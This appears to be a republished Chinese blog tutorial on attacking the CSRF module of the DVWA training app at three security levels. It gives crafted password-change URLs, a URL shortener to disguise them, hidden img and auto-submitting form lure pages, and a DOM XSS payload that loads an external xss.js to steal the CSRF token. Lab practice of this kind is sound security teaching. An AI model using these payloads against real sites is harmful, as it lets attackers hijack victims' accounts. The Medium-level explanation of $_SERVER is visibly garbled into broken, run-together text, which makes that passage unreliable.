DVWA-CSRF全级别教程

2023-11-02

CSRF

Low等级

查看源码

在这里插入图片描述

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。

构造链接

http://192.168.0.103/vulnerabilities/csrf/?password_new=zuowenyang&password_conf=zuowenyang&Change=Change#
当受害者点击了这个链接,他的密码就会被改成zuowenyang
在这里插入图片描述

测试

在这里插入图片描述在这里插入图片描述

使用短链接来隐藏URL

构造短链接

http://suo.im/
http://192.168.0.103/vulnerabilities/csrf/?password_new=zuowenyang2&password_conf=zuowenyang2&Change=Change#

在这里插入图片描述在这里插入图片描述

新打开一个网址标签,输入短网址http://suo.im/6ahf6H进行攻击
在这里插入图片描述
在这里插入图片描述

测试

在这里插入图片描述在这里插入图片描述

构造攻击页面

方法一:图片形式诱导

通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接: 192.168.0.103/test.html
误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为zuowenyang3。
在这里插入图片描述
在这里插入图片描述

测试
在这里插入图片描述在这里插入图片描述

方法二:隐藏表单的形式

查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改

在这里插入图片描述在这里插入图片描述

新打开一个网址标签,输入网址: 192.168.0.103 /dvwa.html,进行攻击

在这里插入图片描述在这里插入图片描述

测试

在这里插入图片描述
在这里插入图片描述

Medium等级

查看源码

在这里插入图片描述

stripos()函数:
stripos(string,find,start)
stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。
PHP超全局变量 S E R V E R 中 的 两 个 值 : 1. _SERVER中的两个值: 1. SERVER1._SERVER[‘HTTP_REFERER’]:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。
2. S E R V E R [ ′ S E R V E R N A M E ′ ] : P H P 中 获 取 服 务 器 主 机 的 名 称 , 即 H T T P 数 据 包 中 的 H o s t 参 数 的 值 。 用 户 正 常 登 录 使 用 修 改 密 码 操 作 时 , 可 以 看 到 : M e d i u m S e c u r i t y L e v e l 的 代 码 使 用 s t r i p o s ( ) 函 数 检 查 H T T P 头 , 过 滤 规 则 是 _SERVER['SERVER_NAME']:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。 用户正常登录使用修改密码操作时,可以看到:Medium Security Level的代码使用stripos()函数检查HTTP头,过滤规则是 SERVER[SERVERNAME]PHPHTTPHost使MediumSecurityLevel使stripos()HTTP_SERVER[‘HTTP_REFERER’]的值中必须包含$_SERVER[‘SERVER_NAME’],以此来抵御CSRF攻击。

将Low Security Leve构造攻击页面方法1中的攻击页面test.html复制一份,命名为 192.168.0.5.html, 并修改部分代码,后放到phpstudy的www目录中。

在这里插入图片描述在这里插入图片描述

受害者点击192.168.0.103/192.168.0.103.html
在这里插入图片描述在这里插入图片描述

测试

在这里插入图片描述在这里插入图片描述

High等级

查看源码

在这里插入图片描述

利用受害者的cookie去修改密码的页面获取关键的token xss.js放置于攻击者的网站上。
在这里插入图片描述

DOM XSS 与 CSRF 结合攻击
CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用链接来让受害者访问诱导点击后,成功将密码修改为zuowenyang6。

DOM xss测试

用以下链接来让受害者访问:
http://192.168.0.103/vulnerabilities/xss_d/?default=English#

在这里插入图片描述在这里插入图片描述

CSRF测试

新开一个页面,登陆DVWA,将安全级别设置到:“high”,并选择 CRSF(XSS(DOM)页面不能关闭)
在这里插入图片描述

通过XSS(DOM)进行CSRF攻击
在XSS(DOM)界面,进行CSRF攻击测试。

http://192.168.0.103/vulnerabilities/xss_d/?default=English#<script%20src=“http://192.168.0.103/xss.js”>
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述

测试
在这里插入图片描述
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

DVWA-CSRF全级别教程 的相关文章

  • python http 客户端卡在 100 continue

    我在 python 中有一个简单的 http 服务器 它使用 100 continue 实现 PUT class TestHandler SimpleHTTPRequestHandler def do PUT self length int
  • HTTP 查询字符串和 []

    PHP 使用 在查询参数名称中 以确保多次出现的参数都出现在 GET超全局变量 否则只出现最后一次出现的情况 还有其他软件可以做到这一点吗 但从RFC 3986 https www rfc editor org rfc rfc3986 以及
  • WCF - 进行多次调用时随机客户端超时

    我有一个WPF客户端通过以下方式请求数据WCF服务托管于IIS 7 服务方法调用存储过程 SQL 2012 using EF检索一些数据 由于需要加载大量数据 因此客户端会多次调用服务方法 以 分解 数据加载并避免大量负载和超时 我们使用生
  • AWS ALB 截断 HTTP 响应

    我有一个带有目标组的 ALB 和运行 PHP API 的 ECS 集群 我正在尝试查询 API 以获得 CSV 响应 但如果请求通过 ALB 我会得到被截断的结果 当我通过 SSH 连接到运行集群的 EC2 实例并尝试手动运行curl 通过
  • 为什么使用 HTTP 动词?

    因为动词的目标是像 server domain getallrecords 或 server domain delete1record 或类似的 URL 而getallrecords delete1record都是专门为特定目的而设计的 为
  • ReverseProxy取决于golang中的request.Body

    我想构建一个 http 反向代理 它检查 HTTP 主体 然后将 HTTP 请求发送到它的上游服务器 你怎么能在 Go 中做到这一点 初始尝试 如下 失败 因为 ReverseProxy 复制传入请求 修改它并发送 但正文已被读取 func
  • 减少1000张图片的HTTP请求?

    我知道这个问题可能听起来有点疯狂 但我想也许有人会想出一个聪明的主意 假设您在一个 HTML 页面上有 1000 个缩略图 图像大小约为5 10 kb 有没有办法在单个请求中加载所有图像 以某种方式将所有图像压缩到一个文件中 或者您对该主题
  • Golang 优雅地关闭 HTTP 服务器并进行错误处理

    我正在让我的 HTTP 服务器正常关闭 我从帖子中获取了提示here https stackoverflow com questions 39320025 how to stop http listenandserve 并且到目前为止已经像
  • 为什么使用HTTP协议时需要指定端口号?

    即使我们使用HTTP协议 为什么还需要用IP地址指定端口号 例如 http xyz 8080 这到底是什么意思 我们已经知道 在使用 HTTP 时 请求将在端口 80 上提供服务 那么为什么我们要显式指定端口呢 HTTP 的默认端口为 80
  • Go中如何自定义http.Client或http.Transport超时重试?

    我想实现一个自定义http Transport对于标准http Client 如果客户端超时 它将自动重试 附 由于某种原因 习俗http Transport is a 一定有 我已经查过了hashcorp go retryablehttp
  • 如何检测CSRF漏洞[关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 给定一个网站 如何检测潜在的 CSRF 漏洞 提前致谢 这是一个CSRF https www owasp org index php
  • MPMoviePlayerController 播放 YouTube 视频

    如何在 iPhone 上的 MPMoviePlayerController 中播放 YouTube 视频 同时避免进入全屏模式 这个问题已经在这里提出 MPMoviePlayerController 正在播放 YouTube 视频吗 htt
  • 我应该使用多个 HttpClient 来进行批量异步 GET 请求吗?

    我有一个场景 我需要在尽可能短的时间内发出大量 GET 请求 想想大约 1000 个 我知道通常最好保留一个客户端并尽可能重用它 Create Single HTTP Client HttpClient client new HttpCli
  • 如何解析 Content-Disposition 标头以检索文件名属性?

    使用 go 如何解析从 http HEAD 请求检索到的 Content Disposition 标头以获取文件的文件名 此外 如何从 http HEAD 响应中检索标头本身 这样的事情正确吗 resp err http Head http
  • Cakephp - CSRF 令牌不匹配

    我在 Cakephp 3 6 中有一个项目 其中 MessageController 中的 3 个操作由 Ajax 调用 但是 我有一个问题 当我向其中一个操作发送请求时 XHR 会向我返回以下内容 message CSRF token m
  • 如何使用批处理脚本调用的curl 获取http post 请求的响应代码?

    我正在努力为从我们的工具之一发送 http post 请求提供支持 该工具基本上通过 http 请求执行作业 实现此目的的方法是该工具使用多个参数调用 RunScript bat 该脚本解析这些参数并在验证后发出curl post 请求 P
  • 在读取正文之前拒绝 HTTP 请求

    我正在开发一个网站 用户需要上传一些非常大的文件 该网站是用 PHP 编写的 在某些情况下 我想根据标头拒绝文件 理想情况下 我想在收到标头后立即拒绝请求 而不读取正文 如果标头足以表明该文件应被拒绝 则没有理由读取 200M 的文件 此外
  • ASP.NET 中 HTTP 缓存相关标头的有效含义

    我正在 ASP NET 2 0 中开发一个 Web 应用程序 其中涉及通过资源处理程序 ashx 提供图像 我刚刚实现了处理缓存标头和条件 GET 请求 这样我就不必为每个请求提供所有图像 但我不确定我是否完全理解浏览器缓存发生了什么 图像
  • 如何转义角度 HttpParams?

    在 Angular 服务中 我使用 HttpParams 将字符串发送到服务 get phone string Observable
  • iOS WKWebView 处理文件下载

    我面临以下问题 在 Web 界面中 文件下载是通过锚标记触发的 如下所示 a href bla blabla a 虽然 Safari 浏览器可以处理此请求并打开一个对话框来处理文件 但 WKWebView 将此视为普通链接并且不对其执行任何

随机推荐

  • Linux内核笔记 - 内核编译错误及解决方法记录

    错误 1 bin sh 1 lzop not found make 2 arch arm boot compressed piggy lzo 错误 1 make 2 正在等待未完成的任务 make 1 arch arm boot compr
  • VUE+OpenLayer动态显示船舶位置信息

    VUE OpenLayer动态显示船舶位置信息 目前项目中需要使用海图来展示船舶位置信息 特此来总结一下开发心得 使用的是openlayer组件库来实现海图的展示 底图为离线瓦片地图 目标 实现前端定时发请求给后端 依据后端返回数据 在地图
  • Error:java.lang.NullPointerException (no error message)

    今天遇到一个问题 电脑突然关机了 然后重启电脑打开Android studio时 运行程序跑不起来 然后报Error java lang NullPointerException no error message 同时Java文件找不到R文
  • 深度解析:2023年软件测试的10个新趋势和挑战

    随着技术的飞速发展 软件测试的角色和责任也在经历重大转变 我们在2023年目前所面临的一些新趋势和挑战值得所有从业人员关注 以下是这些主要趋势和挑战的深度分析 趋势一 人工智能和机器学习在测试中的应用 AI和ML正在越来越多地应用于软件测试
  • G--爬山---2023河南萌新联赛第(二)场:河南工业大学

    链接 登录 专业IT笔试面试备考平台 牛客网 来源 牛客网 示例1 输入 3 230 100 200 300 输出 192 示例2 输入 3 900 150 150 125 输出 1 解析 二分 include
  • 11.Java之抽象类

    1 抽象类 1 1 抽象类概念 在面向对象的概念中 所有的对象都是通过类来描绘的 但是反过来 并不是所有的类都是用来描绘对象的 如果一个类中没有包含足够的信息来描绘一个具体的对象 这样的类就是抽象类 比如 说明 1 矩形 三角形 圆形都是图
  • Angular4.0_路由基础

    Angular Route 导航 路由基础 创建一个新的项目Demo 介绍路由知识 ng new router routing 我们会发现多生成的一个文件app routing module ts 这个文件就是当前应用的路由配置 生成一个h
  • MySQL配置文件配置

    目录 前言 测试环境 MySQL配置文件在哪里 my cnf配置文件说明 修改配置文件 前言 本文主要介绍MySQL配置文件 my cnf 测试环境 虚拟机环境 VirtualBox 6 0 24 操作系统 Oracle Linux Ser
  • 招募:AICG内容联合创作计划

    AIGC AI Generated Content 人工智能自动生成内容 必将成为小微创业团队进行低成本内容运营的最佳实践 你同意这个观点吗 如果我们恰好想法一致 或许可以一起搞点事情 探索一下商业场景下 应用AIGC进行低成本内容运营的可
  • ReentrantLock 源码解析

    前言 注 本文的源码来自 JDK11 ReentrantLock 是 Java 中的一个可重入锁 它可以用于替代传统的 synchronized 关键字来进行线程同步 下面是与 synchronized 关键字的一些对比 名称 实现 重入性
  • 内置安全芯片 硬件加密手机VEB第三代发布

    腾讯数码讯 杜杰 对于使用智能手机的用户来说 大多数人都会在手机内安装几个加密或者安全软件 高级一点的则会通过远程擦除 保护等功能 在手机失窃后尽可能挽回数据损失 从这个方面来说 安全与隐私的确是手机的一大需要 但其实多数用户也明白 这种仅
  • opencv中Bayer 图像到RGB图像装换的问题

    在将bayer图像转换成为rgb的时候遇到的问题 Mat bayer imread home pan Desktop data Testaufbau Ecoflac153 tif 1 Mat bayer2rgb bayer2rgb crea
  • 玖章算术叶正盛:为什么 PostgreSQL 不如 MySQL 流行?|3306π活动预告

    议题大纲 PostgreSQL 是业界功能最强大的开源数据库 为什么在全球流行度没有 MySQL 高 本次分享主题计划从产品 技术 商业等方面综合分析两个数据库的竞争 议题方向 PostgreSQL 与 MySQL 数据库简介 市场分析 产
  • Postgresql FATAL: could not create semaphores: No space left on device

    转自 http blog 163 com dazuiba 008 blog static 363349812016314739538 今天做恢复的时候 数据库做完恢复后 无法启动报错 FATAL could not create semap
  • 企业商家如何制作购物小程序?

    购物除了可以到线下的门店 商场 现在有了小程序 就多一个线上购物的渠道 也就是我们常提到的购物小程序 众多企业商家为了开拓线上渠道 也希望做一个购物小程序 那么企业商家如何制作购物小程序呢 一 小程序账号 一般企业商家都已经有自己的公众号了
  • C语言基础入门48篇_13_关系运算符与关系表达式(等于(==)、不等于(叹=)、大于(>)、小于(<)、小于等于(<=)、大于等于(>=),5==nValue方式避免bug,==不可比较浮点型数据)

    C语言中的关系运算符有等于 不等于 大于 gt 小于 lt 小于等于 lt 大于等于 gt 他们可以直接用于整型 浮点基本数据类型及指针类型变量的比较 1 与 include
  • Html页面点击下载文件

    Html页面点击下载文件 a href 点击下载 a 去掉download 是直接打开文件 a href target blank lt doc document name gt a
  • js 打开窗体的操作类

    create Author 让 create datetime 2011 04 22 function description 打开一个新窗口的操作类 var winOperater defaultOpenOptions window op
  • acc定义代码 神经网络_基于深度学习的时间序列分类[含代码]

    更多机器学习关注公众号 引言 目前 深度学习在计算机视觉和语音识别上有了非常广泛的应用 但是在工业应用方面还没有完善的体系 一方面缺乏数据集另一方缺乏优秀的顶级论文 在工业上的故障诊断领域 大多数据都来自于传感器的采集 如是西储大学轴承数据
  • DVWA-CSRF全级别教程

    CSRF 文章目录 CSRF Low等级 查看源码 构造链接 使用短链接来隐藏URL 构造短链接 构造攻击页面 方法一 图片形式诱导 方法二 隐藏表单的形式 Medium等级 查看源码 将Low Security Leve构造攻击页面方法1